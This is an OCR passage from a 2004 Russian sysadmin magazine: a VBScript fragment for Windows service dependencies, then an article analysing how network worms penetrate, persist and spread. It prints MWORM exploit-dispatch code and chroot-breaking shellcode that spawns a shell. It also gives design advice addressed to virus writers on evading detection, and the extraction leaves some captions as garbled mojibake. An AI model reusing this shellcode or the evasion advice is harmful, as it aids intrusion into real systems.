Set object=GetObject("WinNT://" & Domain_Name &"/" ↵↵↵↵↵& PC_Name &",Computer")Set Service=object.GetObject("service", Service_Name)Flag1=0Flag2=0Dim New_Array() ' Îáúÿâëåíèå ïóñòîãî ìàññèâàSet Dependency_Name="_______"If IsArray(Service.Dependencies)=True ThenFor Each obj in Service.Dependencies' Îïðåäåëåíèå âåðõíåé ãðàíèöû ìàññèâà Dependenciesi=Ubound(New_Array)+1' Ïåðåîïðåäåëåíèå ðàçìåðà ìàññèâà New_ArrrayReDim Preserve New_Array (i)New_Array(i)=obj

If obj="" thenFlag1=1

end ifIf obj= Dependency_Name then

Flag2=1end if

if Flag1=1 thenService.dependencies= ↵↵↵↵↵

Array(Dependency_Name)Service.SetInfo

ElseIf Flag2<>1

i=Ubound(New_Array)+1ReDim Preserve New_Array (i)New_Array(i)= Dependency_NameService.dependencies= New_ArrayService.SetInfo

End ifEnd ifElse

If Service.dependencies <> Dependency_Name thenService.dependencies = ↵↵↵↵↵

array(Service.dependencies, ↵↵↵↵↵Dependency_Name)

Service.SetInfoEnd if

End if

Page 76: 015 Системный Администратор 02 2004

74

образование

Приложение. Объектная модель WinNT

objectClass Domain

objectClass User

objectClass Group

objectClass Computer

objectClass PrintQueue

objectClass PrintJob

objectClass FileService

objectClass FileShare

objectClass Service

Page 77: 015 Системный Администратор 02 2004
Page 78: 015 Системный Администратор 02 2004

76

безопасность

ЖИЗНЕННЫЙ ЦИКЛ ЧЕРВЕЙ

КРИС КАСПЕРСКИ

– Червь придет обязательно?– Обязательно.

Френк Херберт, «Дюна»

Червями принято называть сетевые вирусы, проникающие в зараженные машины вполнеестественным путем, без каких-либо действий со стороны пользователя. Они ближе всехостальных вирусов подобрались к модели своих биологических прототипов и потому чрезвычайноразрушительны и опасны. Их не берут никакие превентивные меры защиты, антивирусные сканерыи вакцины до сих пор остаются крайне неэффективными средствами борьбы. Нашествие червейнельзя предвидеть и практически невозможно остановить. Но все-таки черви уязвимы. Чтобыодолеть червя, вы должны знать структуру его программного кода, основные повадки, наиболеевероятные алгоритмы внедрения и распространения. Сеть Интернет в целом и операционныесистемы в частности – это настоящий лабиринт, и вам понадобится его подробная картас отметками секретных троп и черных ходов, используемых червями для скрытого проникновенияв нервные узлы жертвы. Все это и многое другое вы найдете в этой статье.

Page 79: 015 Системный Администратор 02 2004

77№2(15), февраль 2004

безопасность

Инициализация, или Несколько словперед введениемВ те минуты, когда пишутся эти строки, в левом нижнемуглу компьютера лениво мигает глазок персональногобрандмауэра, фильтрующего пакеты, приходящие по со-товому телефону через GPRS (между прочим, оченьхорошая штука – рекомендую!). Эпизодически – не чащечем три-пять раз в день – в систему пытается проникнутьчервь Love San (или что-то очень на него похожее), и тог-да брандмауэр выбрасывает на экран следующее окно (см.рис. 1). Та же самая картина наблюдается и у двух другихмоих провайдеров.

И хотя активность червя неуклонно снижается (парумесяцев назад атака происходила буквальные каждыйчас-полтора), до празднования победы еще далеко. Червьжил, живет и будет жить! Вызывает уважение тот факт,что автор червя не предусмотрел никаких деструктивныхдействий, в противном случае ущерб оказался невоспол-нимым, и всей земной цивилизации сильно поплохело бы.

А сколько дыр и червей появится завтра? Было бынаивно надеяться, что этой статьей можно хоть что-тоисправить, поэтому после долгих колебаний, сомненийи размышлений я решил ориентировать ее не только насистемных администраторов, но и на… вирусописателей.А что, давал же Евгений Касперский советы авторам ви-русов, предваряя свою статью такими словами: «Успо-койтесь! Не надо готовить ругательства или, наоборот,потирать руки. Мы не хотим делиться своими идеями савторами компьютерных вирусов. Все значительно про-ще – через наши руки прошло несколько сотен образ-цов компьютерных животных, и слишком часто в нихвстречались одни и те же ошибки. С одной стороны, этохорошо – такие вирусы часто оказываются «маложиву-щими», но, с другой стороны, малозаметная ошибка мо-жет привести к несовместимости вируса и используемо-го на компьютере программного обеспечения. В резуль-тате вирус «вешает» систему, компьютер отдыхает, апользователи мечутся в панике с криками: «Пусть хоть100 вирусов, лишь бы компьютер работал!!!» (завтра сда-вать заказ, не запускается самая любимая игрушка, ком-пилятор виснет при выходе в DOS и т. п.). И все это про-исходит при заражении довольно безобидным вирусом.По причине этого и возникло желание поделиться неко-торой информацией о жизни вируса в компьютере, дабыоблегчить жизнь и вам, и многочисленным «пользовате-лям» ваших вирусов».

Черви, если только в них не заложены деструктивныевозможности, не только вредны, но и полезны. Вирусы –это вообще юношеская болезнь всех или практически всехпрограммистов. Что ими движет? Желание навредить?Стремление самоутвердиться в чьих-то глазах? А можетбыть, простой познавательный интерес? Разумеется, есличервь положил весь Интернет, его создатель должен от-ветить. Данная статья – не самоучитель по написаниючервей. Скорее это детальный анализ ошибок, допущен-ных вирусописателями.

Я не призываю вас писать червей. Напротив, я призы-ваю одуматься и не делать этого. Но если уж вам дей-ствительно невтерпеж, пишите тогда по крайней мере так,

чтобы ваше творение не мешало жить и трудиться всемостальным. Аминь!

Введение, или превратят ли червисеть в компост?

– А-а, черви. Я должен как-нибудь увидеть одного из них.– Может быть, вы и увидите его сегодня.

Френк Херберт, «Дюна»

Если кто и разбирается в червях, так это Херберт. Ужас-ные создания, блестяще описанные в «Дюне» и вызыва-ющие у читателей смесь страха с уважением, – они дей-ствительно во многом похожи на одноименных обитате-лей кибернетического мира. И пока специалисты по ин-формационной безопасности ожесточенно спорят, явля-ются ли черви одним из подклассов вирусных программили же образуют вполне самостоятельную группу вредо-носных «организмов», черви успели перепахать весь Ин-тернет и продолжают зарываться в него с бешеной скоро-стью. Удалить же однажды зародившегося червя практи-чески невозможно. Забудьте о Черве Морриса! Сейчас нето время, не те пропускные способности каналов и не таквалификация обслуживающего персонала. В далекихвосьмидесятых с заразой удалось справиться лишь бла-годаря небольшой (по современным меркам!) численнос-ти узлов сети и централизованной организации структу-ры сетевого сообщества.

Ðèñóíîê 1. Êòî-òî  óïîðíî  ëîìèòñÿ  íà  135 ïîðò,  ñîäåðæàùèéóÿçâèìîñòü...

Ðèñóíîê 2. ×åðâè àòàêóþò! È íè÷òî íå ñìîæåò íè îñòàíîâèòü,íè ñáèòü èõ ñ ïóòè

Page 80: 015 Системный Администратор 02 2004

78

безопасность

А что мы имеем сейчас? Количество узлов сети вплот-ную приближается к четырем миллиардам, причем подав-ляющим большинством узлом управляют совершеннобезграмотные пользователи, и лишь незначительная частьсетевых ресурсов находится в руках администраторов, за-частую являющихся все теми же безграмотными пользо-вателями, с трудом отличающими один протокол от дру-гого и во всем полагающимися на Microsoft и NT, которые«все за них сделают». Что такое заплатки, некоторые изних, возможно, и знают, но до их установки дело, так илииначе, сплошь и рядом не доходит.

Можно до потери пульса проклинать Святого Билла иего корявое программное обеспечение, но проблема вов-се не в дырах, а в халатном отношении к безопасности иоткровенном разгильдяйстве администраторов. Что ка-сается программистских ошибок, то в мире UNIX ситуа-ция обстоит ничуть не лучшим образом. Здесь тоже во-дятся черви, пускай не впечатляющие численностью сво-их штаммов, зато отличающиеся большой изощреннос-тью и разнообразием. Здесь также случаются вспышкиэпидемий, насчитывающие тысячи и даже десятки ты-сяч жертв (достаточно вспомнить червей Scalper иSlapper, поражающих Apache-сервера, вращающиеся подуправлением FreeBSD и Linux соответственно). Конеч-но, по сравнению с миллионами упавших Windows-сис-тем эти цифры выглядят более чем умеренными, однаколегендарная защищенность (точнее, как раз-таки неза-щищенность) UNIX тут совсем ни при чем. Просто UNIX-системы управляются намного более грамотными опе-раторами, чем Windows NT.

Никто не гарантирован от вторжения и всемирная Сетьдействительно находится в большой опасности. Просто,по счастливому стечению обстоятельств, все предыдущиечерви были довольно беззлобными созданиями, и ущербот их размножения скорее носил косвенный, чем прямойхарактер, но и в этом случае он измерялся многими мил-лионами долларов и долгими часами полного или частич-ного полегания сети. У нас еще есть время на то, чтобыизвлечь хороший урок из случившегося и кардинальнымобразом пересмотреть свое отношение к безопасности,поэтому не будем больше терять времени на бесполез-ные философствования и приступим к стержневой темеданной статьи.

Структурная анатомия червяТе экземпляры червей, которые мы изучали,заставили нас предполагать, что внутри них

происходит сложный химический обмен.Френк Херберт, «Дюна»

Условимся называть червем компьютерную программу,обладающую репродуктивными навыками и способную ксамостоятельному перемещению по сети. Попросту гово-ря, червь – это нечто такое, что приходит к вам само изахватывает управление машиной без каких-либо дей-ствий с вашей стороны. Для внедрения в заражаемуюсистему червь может использовать различные механиз-мы: дыры, слабые пароли, уязвимости базовых и приклад-ных протоколов, открытые системы и человеческий фак-тор (см. «Механизмы распространения червей»).

Нора, прорытая вирусом в системе, обычно оказыва-ется слишком узка, чтобы вместить всего червяка цели-ком. Ну разве что это будет совсем крохотный и прими-тивный вирус, поскольку ширина типичной норы измеря-ется десятками или в лучшем случае сотнями байт. По-этому сначала на атакуемую машину проникает лишь не-большая часть вируса, называемая головой или загруз-чиком, которая и подтягивает основное тело червя. Соб-ственно говоря, голов у вируса может быть и несколько.Так, достопочтенный вирус Морриса имел две головы,одна из которых пролезала через отладочный люк вsendmail, а другая проедала дыру в finger, поэтому созда-валось обманчивое впечатление, что сеть атакуют дваразличных червя. Естественно, чем больше голов имеетвирус, тем он жизнеспособнее. Современные черви в сво-ем подавляющем большинстве обладают одной-един-ственной головой, однако из этого правила случаются иисключения. Так, при дизассемблерном вскрытии червяNimda (слово «admin», читаемое задом наперед) на еготеле было обнаружено пять голов, атакующих клиентовэлектронной почты, shared-ресурсы, веб-браузеры, MS IIS-сервера и backdoor, оставленные вирусом Code Red. Та-кие многоголовые монстры скорее напоминают сказочныхдраконов или гидр, поскольку червь с несколькими голо-вами смотрится, прямо так скажем, жутковато, но… в ки-бернетическим мире свои законы.

Вирусный загрузчик (обычно отождествляемый с shell-кодом, хотя это не всегда так) решает по меньшей меретри основные задачи: во-первых, он адаптирует свое тело(и при необходимости основное тело червя) к анатоми-ческим особенностям организма жертвы, определяя ад-реса необходимых ему системных вызовов, свой собствен-ный адрес размещения в памяти, текущий уровень при-вилегий и т. д. Во-вторых, загрузчик устанавливает одинили несколько каналов связи с внешним миром, необхо-димых для транспортировки основного тела червя. Чащевсего для этого используется TСP/IP-соединение, однакочервь может воспользоваться услугами FTP- и/или POP3/SMTP-протоколов, что особенно актуально для червей,пытающихся проникнуть в локальные сети, со всех сто-рон огороженные сплошной стеной Firewall. В-третьих,загрузчик забрасывает хвост вируса на зараженный ком-пьютер, передавая ему бразды правления. Для сокрытияфакта своего присутствия загрузчик может восстановитьразрушенные структуры данных, удерживая систему отпадения, а может поручить это основному телу червя.Выполнив свою миссию, загрузчик обычно погибает, по-скольку включить в тело вируса копию загрузчика с ин-женерной точки зрения намного проще, чем собирать ви-рус по частям.

Однажды получив управление, червь первым деломдолжен поглубже зарыться в грунт системы, втянув свойдлинный хвост внутрь какого-нибудь неприметного про-цесса и/или файла. А зашифрованные (полиморфные)вирусы должны себя еще и расшифровать/распаковать(если только эту операцию не выполнил за них загрузчик).

Впрочем, червь может вести и кочевую жизнь, авто-матически удаляя себя из системы по прошествии неко-торого времени – это добавляет ему скрытности и значи-

Page 81: 015 Системный Администратор 02 2004

79№2(15), февраль 2004

безопасность

тельно уменьшает нагрузку на сеть. При условии, что по-ражаемый сервис обрабатывает каждое TCP/IP-соедине-ние в отдельном потоке (а в большинстве случаев делообстоит именно так), червю будет достаточно выделитьблок памяти, присвоить ему атрибут исполняемого и ско-пировать туда свое тело (напрямую перебросить хвост вадресное пространство потока жертвы нельзя, т.к. сегменткода по умолчанию защищен от записи, а сегмент данныхпо умолчанию запрещает исполнение1, остается стек икуча; стек чаще всего исполняем по дефолту, а куча – нет,и для установки атрибута Executable червю приходитсяхимичить с системными функциями менеджера виртуаль-ной памяти). Если же голова червя получает управлениедо того, как уязвимый сервис создаст новый поток илиуспеет расщепить процесс вызовом fork, червь долженобязательно возвратить управление программе-носителю,в противном случае та немедленно ляжет, и получитсясамый натуральный DoS. При этом полный возврат управ-ления предполагает потерю власти над машиной, а зна-чит и смерть червя. Чтобы не уронить систему, но и нелишиться жизни самому, червь должен оставить своюрезидентную копию или, в более общем случае, – моди-фицировать систему так, чтобы хотя бы изредка получатьуправление. Это легко. Первое, не самое удачное, затоэлементарно реализуемое решение заключается в созда-нии нового файла с последующим добавлением его в спи-сок автоматически запускаемых программ. Более изощрен-ные черви внедряют свое тело в подложную динамичес-кую библиотеку и размещают ее в текущем каталоге уяз-вимого приложения (или просто в каталоге любого болееили менее часто запускаемого приложения). Еще червьможет изменить порядок загрузки динамических библио-тек или даже назначить существующим динамическим биб-лиотекам подложные псевдонимы (в ОС семействаWindows за это отвечает следующий раздел реестра:HKLM\SYSTEM\CurrentControlSet\Control\Session Maneger\KnownDLLs). Сильно извращенные черви могут регистри-ровать в системе свои ловушки (hocks), модифицироватьтаблицу импорта процесса-носителя, вставлять в кодовыйсегмент команду перехода на свое тело (разумеется, пред-варительно присвоив ему атрибут Writable), сканироватьпамять в поисках таблиц виртуальных функций и моди-фицировать их по своему усмотрению (внимание: в миреUNIX большинство таблиц виртуальных функций распо-лагаются в области памяти, доступной лишь на чтение,но не на запись).

Короче говоря, возможных путей здесь не по-детскимного, и затеряться в гуще системных, исполняемых иконфигурационных файлов червю ничего не стоит. Попут-но отметим, что только самые примитивные из червеймогут позволить себе роскошь создания нового процес-са, красноречиво свидетельствующего о наличии посто-ронних. Печально известный Love San, кстати, относитсяименно к этому классу. Между тем, используя межпро-цессорные средства взаимодействия, внедриться в адрес-ное пространство чужого процесса ничего не стоит, рав-но как ничего не стоит заразить любой исполняемый файл,в том числе и ядро системы. Кто там говорит, что опера-ционные системы класса Windows NT блокируют доступ к

запущенным исполняемым файлам? Выберете любой по-нравившийся вам файл (пусть для определенности это бу-дет iexplore.exe) и переименуйте его в iexplore.dll. При на-личии достаточно уровня привилегий (по умолчанию этопривилегии администратора) операция переименованиязавершается успешно, и активные копии Internet Explorerавтоматически перенаправляются системой к новому име-ни. Теперь создайте подложный iexplore.exe-файл, запи-сывающий какое-нибудь приветствие в системный жур-нал и загружающий оригинальный Internet Explorer. Разу-меется, это только демонстрационная схема. В реальнос-ти все намного сложнее, но вместе с тем и… интереснее!Впрочем, мы отвлеклись. Вернемся к нашему вирусу, всмысле к червю.

Укрепившись в системе, червь переходит к самойглавной фазе своей жизнедеятельности – фазе размно-жения. При наличии полиморфного генератора вируссоздает совершенно видоизмененную копию своего тела,ну или, на худой конец, просто зашифровывает крити-ческие сегменты своего тела. Отсутствие всех этих ме-ханизмов оставляет червя вполне боевым и жизнеспо-собным, однако существенно сужает ареал его распрос-транения. Судите сами, незашифрованный вирус легкоубивается любым сетевым фильтром, как-то брандмау-эром или маршрутизатором. А вот против полиморфныхчервей адекватных средств борьбы до сих пор нет, и со-мнительно, чтобы они появились в обозримом будущем.Распознание полиморфного кода – эта не та операция,которая может быть осуществлена в реальном временина магистральных интернет-каналах. Соотношение про-пускной способности современных сетей к вычислитель-ной мощности современных же процессоров явно не впользу последних. И хотя ни один полиморфный червьдо сих пор не замечен в «живой природе», нет никакихгарантий, что такие вирусы не появятся и впредь. Ло-кальных полиморфных вирусов на платформе Intel IA-32известен добрый десяток (речь идет о подлинном поли-морфизме, а не тривиальном замусоривании кода незна-чащими машинными командами и иже с ними), как гово-рится, выбирай не хочу.

Но какой бы алгоритм червь ни использовал для свое-го размножения, новорожденные экземпляры покидаютродительское гнездо и расползаются по соседним маши-нам, если, конечно, им удастся эти самые машины найти.Существует несколько независимых стратегий распрост-ранения, среди которых в первую очередь следует выде-лить импорт данных из адресной книги Outlook Express илианалогичного почтового клиента, просмотр локальныхфайлов жертвы на предмет поиска сетевых адресов, ска-нирование IP-адресов текущей подсети и генерация слу-чайного IP-адреса. Чтобы не парализовать сеть чрезмер-ной активностью и не отрезать себе пути к распростране-нию, вирус должен использовать пропускные способнос-ти захваченных им информационных каналов максимумнаполовину, а лучше десятую или даже сотую часть. Чемменьший вред вирус наносит сетевому сообществу, темпозже он оказывается обнаруженным и тем с меньшейпоспешностью администраторы устанавливают соответ-ствующие обновления.

Page 82: 015 Системный Администратор 02 2004

80

безопасность

Установив соединение с предполагаемой жертвой,червь должен убедиться в наличии необходимой ему вер-сии программного обеспечения и проверить, нет ли наэтой системе другого червя. В простейшем случае иден-тификация осуществляется через рукопожатие. Жертвепосылается определенное ключевое слово, внешне выг-лядящее как безобидный сетевой запрос. Червь, еслион только там есть, перехватывает пакет, возвращаяинициатору обмена другое ключевое слово, отличное отстандартного ответа незараженного сервера. Механизмрукопожатия – это слабейшее звено обороны червя, ко-нечно, при условии, что червь безоговорочно доверяетсвоему удаленному собрату. А вдруг это никакой не со-брат, а его имитатор? Это обстоятельство очень беспо-коило Роберта Морриса, и для борьбы с возможнымиимитаторами червь был снабжен механизмом, которыйпо замыслу должен был в одном из семи случаев игно-рировать признак червя, повторно внедрясь в уже зах-ваченную машину. Однако выбранный коэффициент ока-зался чересчур параноическим, и уязвимые узлы инфи-цировались многократно, буквально киша червями, съе-дающими все процессорное время и всю пропускнуюспособность сетевых каналов. В конечном счете, вирус-ная атака захлебнулась сама собой, и дальнейшее рас-пространение червя стало невозможным.

Чтобы этого не произошло, всякий червь должен иметьвнутренний счетчик, уменьшающийся при каждом успеш-ном расщеплении и при достижении нуля подрывающийчервя изнутри. Так или приблизительно так устроен лю-бой живой организм, в противном случае нашей биосфе-ре давно бы наступил конец. А сеть Интернет как раз ипредставляет собой великолепную модель биосферы внатуральную величину. Поэтому, хотим ли мы того илинет, – программный код должен подчиняться объективнымзаконам природы, не пытаясь идти ей наперекор. Это всеравно бесполезно.

Кстати говоря, анатомическая схема червя, описаннаявыше, не является ни общепринятой, ни единственной. Мывыделили в черве два основных компонента – голову ихвост. Другие же исследователи склонны рассматриватьчервя как организм, состоящий из пасти, именуемой не-переводимым термином enabling exploit code (отпирающийэксплоитный код); механизма распространения(propagation mechanism) и полезной нагрузки (payload),ответственной за выполнение тех или иных деструктив-ных действий. Принципиальной разницы между различ-ными изображениями червя, разумеется, нет, но вот тер-минологической путаницы предостаточно.

Ëèñòèíã 1. Ïÿòü ãîëîâ ÷åðâÿ MWORM, ïîðàæàþùèå ìíîæåñòâî óÿç-âèìûõ ñåðâèñîâ. Ïåðåä íàìè «øåÿ» ÷åðâÿ, êîòîðàÿ, ñîáñòâåí-íî, âñå ýòè ãîëîâû è äåðæèò, ñîâåðøàþùàÿ èìè âðàùàòåëüíûåäâèæåíèÿ è ïðè íåîáõîäèìîñòè èçðûãàþùàÿ îãîíü è ïëàìÿ...switch(Iptr->h_port){

case 80: //web holeHandle_Port_80(sock, ↵↵↵↵↵

inet_ntoa(sin.sin_addr),Iptr);break;

case 21: // ftp holeif (Handle_Port_21(sock, ↵↵↵↵↵

inet_ntoa(sin.sin_addr),Iptr))

{pthread_mutex_lock(&ndone_mutex);wuftp260_vuln(sock, ↵↵↵↵↵

inet_ntoa(sin.sin_addr), ↵↵↵↵↵Iptr);

pthread_mutex_unlock(&ndone_mutex);} break;

case 111: //rpc holeif (Handle_Port_STATUS(sock, ↵↵↵↵↵

inet_ntoa(sin.sin_addr),Iptr)){

pthread_mutex_lock(&ndone_mutex);// rpcSTATUS_vuln(inet_ntoa ↵↵↵↵↵

(sin.sin_addr), Iptr);pthread_mutex_unlock(&ndone_mutex);

} break;case 53: //linux bind hole

// Check_Linux86_Bind(sock, ↵↵↵↵↵inet_ntoa(sin.sin_addr), ↵↵↵↵↵Iptr->h_network);

break;case 515: //linux lpd hole

// Get_OS_Type(Iptr->h_network, ↵↵↵↵↵inet_ntoa(sin.sin_addr));

// Check_lpd(sock,inet_ntoa ↵↵↵↵↵(sin.sin_addr),Iptr->h_network);

break;default: break;

}Ëèñòèíã 2. Îäíà èç ãîëîâ ÷åðâÿ è åå äèçàññåìáëåðíûé ëèñòèíãíèæå/* break chroot and exec /bin/sh - dont use on an unbreakable

host like 4.0 */unsigned char x86_fbsd_shell_chroot[] =

"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80""\x31\xc0\x99""\x6a\x68\x89\xe3\x50\x53\x53\xb0\x88\xcd""\x80\x54\x6a\x3d\x58\xcd\x80\x66\x68\x2e\x2e\x88\x54""\x24\x02\x89\xe3\x6a\x0c\x59\x89\xe3\x6a\x0c\x58\x53""\x53\xcd\x80\xe2\xf7\x88\x54\x24\x01\x54\x6a\x3d\x58""\xcd\x80\x52\x68\x6e\x2f\x73\x68\x44\x68\x2f\x62\x69""\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\x52\x51\x53\x53""\x6a\x3b\x58\xcd\x80\x31\xc0\xfe\xc0\xcd\x80";

Ëèñòèíã 3. Äèçàññåìáëåðíûé ëèñòèíã îäíîé èç ãîëîâ ÷åðâÿ MWORM.data:0804F7E0  x86_fbsd_shell_chroot:.data:0804F7E0 xor eax, eax.data:0804F7E2 push eax.data:0804F7E3 push eax.data:0804F7E4 push eax.data:0804F7E5 mov al, 7Eh; LINUX - sys_sigprocmask.data:0804F7E7 int 80h.data:0804F7E9 xor eax, eax.data:0804F7EB cdq.data:0804F7EC push 68h.data:0804F7EE mov ebx, esp.data:0804F7F0 push eax.data:0804F7F1 push ebx.data:0804F7F2 push ebx.data:0804F7F3 mov al, 88h; LINUX - sys_personality.data:0804F7F5 int 80h.data:0804F7F7 push esp.data:0804F7F8 push 3Dh.data:0804F7FA pop eax; LINUX - sys_chroot.data:0804F7FB int 80h.data:0804F7FD push small 2E2Eh.data:0804F801 mov [esp+2], dl.data:0804F805 mov ebx, esp.data:0804F807 push 0Ch.data:0804F809 pop ecx.data:0804F80A mov ebx, esp.data:0804F80C; CODE XREF: .data:0804F813  j.data:0804F80C loc_804F80C:.data:0804F80C push 0Ch.data:0804F80E pop eax.data:0804F80F push ebx.data:0804F810 push ebx

Page 83: 015 Системный Администратор 02 2004

81№2(15), февраль 2004

безопасность

; LINUX - sys_chdir.data:0804F811 int 80h.data:0804F813 loop loc_804F80C.data:0804F815 mov [esp+1], dl.data:0804F819 push esp.data:0804F81A push 3Dh.data:0804F81C pop eax; LINUX - sys_chroot.data:0804F81D int 80h.data:0804F81F push edx.data:0804F820 push 68732F6Eh.data:0804F825 inc esp.data:0804F826 push 6E69622Fh.data:0804F82B mov ebx, esp.data:0804F82D push edx.data:0804F82E mov edx, esp.data:0804F830 push ebx.data:0804F831 mov ecx, esp.data:0804F833 push edx.data:0804F834 push ecx.data:0804F835 push ebx.data:0804F836 push ebx.data:0804F837 push 3Bh.data:0804F839 pop eax; LINUX - sys_olduname.data:0804F83A int 80h.data:0804F83C xor eax, eax.data:0804F83E inc al; LINUX - sys_exit.data:0804F840 int 80h

Борьба за территорию на выживание– Какой величины территорию должен

контролировать каждый червь?– Это зависит от размеров червя.

Френк Херберт, «Дюна»Жизнь червя – это непрерывная борьба за свое существо-вание. Однажды попав в Интернет, червь сталкивается спроблемами захвата системных ресурсов (пропитания), ос-воения новых территорий (поиска подходящих узлов длязаражения), обороны от хищников и прочих «млекопитаю-щих» (брандмауэров, антивирусов, администраторов и т. д.),попутно решая задачу внутривидовой конкуренции. В этойагрессивной среде выживает лишь хорошо продуманный итщательно спроектированный высокоинтеллектуальный код.Подавляющее большинство червей умирает вскоре послерождения, и лишь считанным вирусам удается вспыхнутькрупной эпидемией. Почему? Из школьного курса биологиинам известно, что безудержный рост численности любойпопуляции всегда заканчивается ее гибелью, ведь питатель-ные ресурсы отнюдь не безграничны. Предел численностичервей естественным образом регулируется пропускной спо-собностью интернет-каналов, емкостью оперативной/диско-вой памяти и быстродействием процессоров.

Влияние фактора скорости размножения на жизнеспо-собность вируса исследовалось еще в пионерских рабо-тах Ральфа Бургера. Уже тогда было ясно, что в принципевирус может заразить все файлы локальной машины заодин присест (про сетевых червей, в силу отсутствия пос-ледних, речь тогда попросту не шла), однако это сделалобы факт заражения слишком заметным, и тогда судьбавируса оказалась бы предрешена (паническое формати-рование жесткого диска «на низком уровне», полная пе-реустановка всего программного обеспечения, ну, в об-щем, вы меня понимаете). Кроме того, на чувственномуровне такой вирус попросту неинтересен.

Рассмотрим крайний случай. Пусть наш вирус совер-шает единственный акт заражения в своей жизни. Тогда

рост численности популяции будет носить линейный ха-рактер, продолжающийся до тех пор, пока загрузка сис-темы не превысит некоторую критическую величину, пос-ле которой скорость размножения вируса начнет неуклон-но падать. В конце концов вирус сожрет все процессор-ные ресурсы, всю оперативную и всю дисковую память,после чего система окончательно встанет и процесс раз-множения прекратится. Впрочем, на практике до этогодело обычно не доходит, и владелец компьютера спохва-тывается куда раньше.

Период, протекающий от момента первого заражениядо момента обнаружения вируса по нетипичной активно-сти системы, условимся называть латентным периодомразмножения червя. Чем большее количество узлов бу-дет заражено в течение этого времени, тем большие шан-сы на выживание имеет червь. Выбор правильной стра-тегии размножения на самом деле очень важен. Причинавымирания большинства червей как раз и заключается внепродуманном размножении. Чаще всего исходный червьрасщепляется на два. Два новых червя, готовых к даль-нейшему размножению. В следующем поколении этихчервей будет уже четыре, затем восемь, потом шестнад-цать, тридцать два и так далее по возрастающей… На-глядной физической демонстрацией этого процесса слу-жит атомная бомба. И в том, и в другом случае мы имеемдело с цепной реакцией, отличительной особенностьюкоторой служит ее взрывной характер. На первых порахувеличение численности вирусной популяции происходиттак медленно, что им можно полностью пренебречь, нопри достижении некоторой критической массы происхо-дит своеобразный взрыв, и дальнейшее размножениепротекает лавинообразно. Через короткий отрезок вре-мени – дни или даже считанные часы – червь поражаетпрактически все уязвимые узлы сети, после чего его су-ществование становится бессмысленным, и он умирает,раздавленный руками недобрых администраторов, разбу-женных часов эдак в пять утра (а черви, в силу всепла-нетной организации Интернет, имеют тенденцию совер-шать атаки в самое неудобное с физиологической точкизрения время).

При условии, что выбор IP-адреса заражаемой жерт-вы происходит по более или менее случайному закону (абольшинство червей распространяются именно так), помере насыщения сети червем скорость его распростра-нения будет неуклонно снижаться и вовсе не потому, чтомагистральные каналы окажутся перегруженными! Попро-буйте сгенерировать последовательность случайных байти подсчитайте количество шагов, требующихся для пол-ного покрытия всей области от 00h до FFh. Очевидно, чтоза 100h шагов осуществить задуманное нам ни за что неудастся. Если только вы не будете жульничать, одни и теже байты будут выпадать многократно, в то время какдругие останутся не выпавшими ни разу! И чем большебайт будет покрыто, тем чаще станут встречаться повтор-ные выпадения! Аналогичным образом дело обстоит и сразмножением вируса. На финальной стадии размноже-ния полчища червей все чаще будут стучаться в уже зах-ваченные компьютеры, и гигабайты сгенерированного имитрафика окажутся сгенерированными впустую.

Page 84: 015 Системный Администратор 02 2004

82

безопасность

Дырами принято называть логические ошибки в про-граммном обеспечении, в результате которых жертваприобретает возможность интерпретировать исходныеданные как исполняемый код. Наиболее часто встреча-ются дыры двух следующих типов: ошибки переполне-ния буфера (buffer overflow) и ошибки фильтрации интер-поляционных символов или символов-спецификаторов.

И хотя теоретики от безопасности упорно отмахива-ются от дыр как от досадных случайностей, нарушаю-щих стройность воздушных замков абстрактных защит-ных систем, даже поверхностный анализ ситуации по-казывает, что ошибки проектирования и реализацииносят сугубо закономерный характер, удачно обыгран-ный хакерами в пословице: «Программ без ошибок небывает. Бывает – плохо искали». Особенно коварныошибки переполнения, вызываемые (или даже можносказать – провоцируемые) идеологией господствующихязыков и парадигм программирования. Подробнее обэтом мы поговорим в следующей статье этого цикла;пока же отметим, что ни одна коммерческая програм-ма, насчитывающая более десяти-ста тысяч строк ис-ходного текста, не смогла избежать ошибок перепол-нения. Через ошибки переполнения распространялисьЧервь Морриса, Linux.Ramen, MWorm, Code Red,Slapper, Slammer, Love San и огромное множество ос-тальных менее известных вирусов.

Список свежих дыр регулярно публикуется на рядесайтов, посвященных информационной безопасности(крупнейший из которых – www.bugtraq.org) и на веб-страничках отдельных хакеров. Заплатки на дыры обыч-но выходят спустя неделю или даже месяц после появ-ления открытых публикаций, однако в некоторых слу-чаях выход заплатки опережает публикацию, т.к. пра-вила хорошего тона диктуют воздерживаться от распро-странения информации вплоть до того, пока противо-ядие не будет найдено. Разумеется, вирусописателиведут поиск дыр и самостоятельно, однако за все вре-мя существования Интернета ни одной дыры ими най-дено не было.

Слабые пароли – это настоящий бич всякой систе-мы безопасности. Помните анекдот: «Скажи пароль!Пароль!»? Шутки шутками, но пароль типа «password»не так уж и оригинален. Сколько пользователей дове-ряют защиту системы популярным словарным словам(в стиле Супер-Ниндзя, Шварценеггер-Разбушевался иШварценеггер-Продолжает-Бушевать) или выбираютпароль, представляющий собой слегка модифицирован-ный логин (например, логин с одной-двумя цифрами наконце)? Про короткие пароли, пароли, состоящие изодних цифр, и пароли, полностью совпадающие с логи-ном, мы вообще умолчим. А ведь немалое количествосистем вообще не имеют никакого пароля! Существу-ют даже специальные программы для поиска открытых(или слабо защищенных) сетевых ресурсов, львинаядоля которых приходится на локальные сети мелкихфирм и государственных организаций. В силу ограни-

ченных финансов содержать более или менее квали-фицированного администратора они не могут и о необ-ходимости выбора надежных паролей, судя по всему,даже и не догадываются (а может быть, просто ленят-ся – кто знает).

Первым (а на сегодняшний день и последним) чер-вем, использующим механизм подбора паролей, был иостается Вирус Морриса, удачно комбинирующий словар-ную атаку с серией типовых трансформаций имени жер-твы (исходное имя пользователя, удвоенное имя пользо-вателя, имя пользователя, записанное задом наперед,имя пользователя, набранное в верхнем/нижнем регист-ре и т. д.). И эта стратегия успешно сработала!

Червь Nimda использует намного более примитив-ный механизм распространения, проникая лишь в не-запароленные системы, что удерживает его от безудер-жного распространения, поскольку пустые пароли за-нимают незначительный процент от всех слабых паро-лей вообще.

Конечно, со времен Морриса многое изменилось, и вмире наблюдается тенденция к усложнению паролей ивыбору случайных, бессмысленных последовательнос-тей. Но вместе с этим растет и число пользователей, –администраторы оказываются просто не в состоянии завсеми уследить и проконтролировать правильность вы-бора пароля. Поэтому атака по словарю по-прежнему ос-тается актуальной угрозой.

